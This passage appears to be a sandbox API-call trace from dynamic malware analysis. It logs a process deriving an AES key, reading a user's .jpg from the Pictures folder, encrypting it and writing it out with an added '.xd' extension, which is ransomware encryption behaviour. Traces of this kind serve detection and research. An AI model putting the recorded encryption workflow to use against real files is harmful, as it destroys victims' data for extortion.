dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621708, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.222] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c830) returned 1 [0061.222] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.222] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.222] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.222] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.222] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.222] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.241] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.241] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0061.241] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.241] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.241] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\baahg6ks4j086v.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.242] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.242] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.242] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_")) returned 0x10 [0061.246] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\baahg6ks4j086v.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.247] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.249] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.249] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7ee4, lpOverlapped=0x0) returned 1 [0061.250] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.253] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.254] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.254] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.254] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.254] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.254] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.254] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.254] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.255] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.255] CryptGetKeyParam (in: hKey=0x164c830, dwParam=0x7, pbData=0x1629420, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629420*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.255] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.256] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.256] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.256] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.256] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.256] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.256] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.256] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.256] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.257] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.257] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x7ee4, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x7ef0) returned 1 [0061.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.257] CharLowerBuffW (in: lpsz="byte[32497]", cchLength=0xb | out: lpsz="byte[32497]") returned 0xb [0061.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.258] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.258] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.259] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.259] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188cdf0*, pdwDataLen=0x130e618*=0x7ee4, dwBufLen=0x7ef0 | out: pbData=0x188cdf0*, pdwDataLen=0x130e618*=0x7ef0) returned 1 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.259] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.259] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.259] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.259] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.259] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.260] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.260] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.260] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.260] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.263] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x7ef0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x7ef0, lpOverlapped=0x0) returned 1 [0061.264] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.264] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.264] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.264] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.264] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.264] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.264] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.265] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.265] CryptDestroyKey (hKey=0x164c830) returned 1 [0061.265] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.265] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.265] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.265] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.265] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.265] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.265] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.265] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.265] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.266] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.266] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.266] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, 